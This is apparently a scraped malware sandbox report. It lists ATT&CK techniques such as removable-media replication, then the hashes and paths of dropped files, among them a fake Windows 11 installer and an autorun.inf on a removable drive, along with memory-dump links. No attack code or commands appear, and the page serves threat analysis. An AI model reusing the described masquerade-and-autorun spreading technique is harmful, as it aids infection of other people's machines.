Wi-Fi Discovery

T1016.002

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 5b7b2453914d2a2f4e76e9bcbbbe209165f02768ca363b63d82d88fc7fd9875f
MD5 56312495fc3a763d39a537cf9f8e1433
SHA1 62ffb83567f0b52d112112c9966e8e7a07b94b98
SHA512 980be122796d3ed2de1f2fa2f63848f07775d2872995f6de99ebc1f5f53d42f417b7b9d4ca085170df59997b24997e660571b52933b24e0b14d8dfb8980f4ff7
SSDEEP 384:a1eBaoT1iBGGGW14bgOe7i97Ln+KenJQ2PndIAgF4QLYWCu8PKlYvYbhNzPYlR/h:KexZ6GFWiEd07z+FF1IA4fL7d3bhNzPc
TLSH
T1EFA2C578213F6DC7D8D226B410D20AF7FBE4D489DAB611D4AF1BDE2F4C90EB64A60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\09M9t7ViPg\Display (1).png
Size 541KB
SHA256 39186f538f55c35c2a1adf2c43dd38e83ab3e9ae10dc7c3b9d1b4992db8bd35b
MD5 a1edb51a238760b0293db03559fe3b17
SHA1 7b2e199fe72e09b90bbc9c91ffec0a7d959c41f7
SHA512 0a59607e8877eab7dd06f1b73e45d07aa2eff7fc232c691e38d1a91893fd569680e7aee3594187792c05bfdd3129b7aa8f984f23690853fe44bd35cb6b96a872
SSDEEP 12288:X+MHsu7tCfsi2ckfbtuV8movh3mcIBK+Lj5tmqr6nsOMmKVBN:OMHsPvkfpmovMK+L6qrgsOaVL
TLSH
T135C4236924B9469CCEE39A35FEC4CFAA4364321F46DC1039AF562C858525B78BC13B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5pcz3z0e.dll

Path C:\Users\Admin\AppData\Local\Temp\5pcz3z0e\5pcz3z0e.dll
Size 4KB
SHA256 c2a97666e9a6ba909c0e16835f3a50187aa4ff3c7db850a667d8953941cdc652
MD5 7b96444fd6d922e653dda76da9285db8
SHA1 69b3acb488ae87178b66d1f754634eb3c1b98a1f
SHA512 f22f6991f18eacd2695296a46bf7be24e038651fc98c2f51e6ec4f9c4da496ffb669eea8523130b7a35c19b8e62fa0e100823e3352a0b257c31727649f044082
TLSH
T11781421693D885BAF4BE0775BEF383071B74E9209A22A75F1C84126CAC303646F25FB5
MD5 SHA1 SHA512 TLSH

Submit Download

RES9948.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9948.tmp
Size 1KB
SHA256 7f8c831aa9781867efb2f319b1a4cc8ce8681e2784c50c6349e1520d2ea9abf6
MD5 37784533afb826e334c80a355d575060
SHA1 83ab6e0912cb4707206b0585172c381aa6ba931a
SHA512 bb1e6cbfbc9a9d31ce5baf8a92aaa7c38d5b501fa8526806b2ee3fd726580e838c01808bfe40a5975bd0d80596148f226f7ae570a74a0df6b78775d24a3de20b
TLSH
T1F221AF05A3E9871FF0735732A9F6132FD238FD65EF62976A8940422C2C01548EFA1A73
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_s34jiuhn.4iw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s34jiuhn.4iw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Windows11InstallationAssistant.exe

Path F:\Windows11InstallationAssistant.exe
Size 10.8MB
SHA256 5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662
MD5 6ad551f598034cfcfceb411ceb66543d
SHA1 4bf3dcb21875d20b71fc9d15a3232ee52535254c
SHA512 13beaf91422f5f13a23f929e4b60db3e70abeb0f4ffef01c9af43e577288836d74927b3d8c9a51194223ddeca084e3c980118fc7eed2b42e703ccb7e2c0f3398
SSDEEP 98304:ZSTUAP6stMcgwfBwYpj30dZLlUuu7KJgGAAW8/RMp+MuQamjJi7CJEXXNB:i3irwfBKlfQKJgGALs0cT7XXN
TLSH
T193B64941EADB86F1E9431931515BB27F22301D098F39CBDBEB943F6AE9376D10836246
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

autorun.inf

Path F:\autorun.inf
Size 91B
SHA256 4007247521367cf4b29bfdddd2eb197aeaec325eafa745fbea6a59f880f8e948
MD5 9a71501dd3cbbe2d66ec3c9460379cb2
SHA1 1aefee78b8f1ef3e630aff2349571bec5280edff
SHA512 605ac01752d6985b8a8c4b1e1cab41c8e7e67d9cff8d2519b563183a59b8f9c1a1bbcdf2ac8fabfb971495c5595280afaa7e5189b833d18022f041a37934b1a7
TLSH
T182B012304434D2584557090DC00B8E5D175DB00C1560006003A861C0F820C0B47000D2
MD5 SHA1 SHA512 TLSH

Submit Download

5pcz3z0e.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5pcz3z0e\5pcz3z0e.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
TLSH
T159114EF8AD2FD65A44336B37FE7B5484EF3613A3022A911ABD8C41244F3185493AAE59
MD5 SHA1 SHA512 TLSH

Submit Download

5pcz3z0e.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5pcz3z0e\5pcz3z0e.cmdline
Size 607B
SHA256 9f8b01037968abcbee06100b934e13daa309cf58ec636e00bdf4ec2f8e0bd088
MD5 a8007b376d6c40106d60111b2342d72f
SHA1 3556578d78ab980b9927f1e36f6e5114f80ba041
SHA512 02c4223eb4b1975d9f6bced90f326bfaf4de325eacec5116502908297634bd04fb6d1e3f95f320851a3ad965f41d08f59de5ea6d10f808b6c6995924c2c25a68
TLSH
T1E2F04C36023BC6BE45E93487356E8ADCC233035B3485AF686589885EF5774021BD17A4
MD5 SHA1 SHA512 TLSH

Submit Download

CSC5AB7F44A4B5D4C27979CC22E2A4CE31B.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\5pcz3z0e\CSC5AB7F44A4B5D4C27979CC22E2A4CE31B.TMP
Size 652B
SHA256 aa0a787f9631aae4e5eed8f9b5e3978a9dda7c6ac3609f6ab6b7ded3db5d9421
MD5 830fa1b9a9f2010e1e8d42d76eea5421
SHA1 db3cafa024bfa2b401d3fbdb422a07ae651bd73a
SHA512 3c3c04f630beeed27e437698c163dd8570c000d7829c81da5d9422f2b182642d5f7e89776dc63b293e62ddd82284c41613eaad5f675d7070a03a3973f60a8beb
TLSH
T1C9F05E0973F8020EF0F34B30BEF6436395ACBC66DE3293ED1440131928649148A72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1072-49-0x00000000048E0000-0x00000000048E8000-memory.dmp

Download

memory/1072-33-0x0000000006E50000-0x0000000006EE2000-memory.dmp

Download

memory/1072-13-0x0000000074360000-0x0000000074B1C000-memory.dmp

Download

memory/1072-12-0x0000000074360000-0x0000000074B1C000-memory.dmp

Download

memory/1072-52-0x0000000074360000-0x0000000074B1C000-memory.dmp

Download

memory/1072-34-0x0000000007EF0000-0x00000000084AA000-memory.dmp

Download

memory/1072-25-0x00000000072B0000-0x000000000792C000-memory.dmp

Download

memory/1072-8-0x0000000004E60000-0x00000000054AA000-memory.dmp

Download

memory/1072-7-0x0000000074360000-0x0000000074B1C000-memory.dmp

Download

memory/1072-30-0x0000000006020000-0x000000000603A000-memory.dmp

Download

memory/5056-31-0x00000000072A0000-0x00000000072C0000-memory.dmp

Download

memory/5056-26-0x0000000007260000-0x0000000007296000-memory.dmp

Download

memory/5056-32-0x00000000072D0000-0x0000000007373000-memory.dmp

Download

memory/5056-27-0x0000000070C60000-0x0000000070CAC000-memory.dmp

Download

memory/5056-24-0x00000000063D0000-0x000000000641C000-memory.dmp

Download

memory/5056-23-0x0000000005130000-0x000000000514E000-memory.dmp

Download

memory/5056-21-0x0000000005DB0000-0x000000000610B000-memory.dmp

Download

memory/5056-40-0x0000000007670000-0x000000000767A000-memory.dmp

Download

memory/5056-16-0x0000000005D40000-0x0000000005DA6000-memory.dmp

Download

memory/5056-45-0x0000000007870000-0x0000000007906000-memory.dmp

Download

memory/5056-15-0x0000000005CD0000-0x0000000005D36000-memory.dmp

Download

memory/5056-14-0x0000000005540000-0x0000000005562000-memory.dmp

Download

memory/5056-10-0x0000000074360000-0x0000000074B1C000-memory.dmp

Download

memory/5056-9-0x0000000074360000-0x0000000074B1C000-memory.dmp

Download

memory/5056-6-0x0000000002A50000-0x0000000002A86000-memory.dmp

Download

memory/5056-3-0x0000000074372000-0x0000000074373000-memory.dmp

Download

memory/5056-56-0x0000000074360000-0x0000000074B1C000-memory.dmp

Download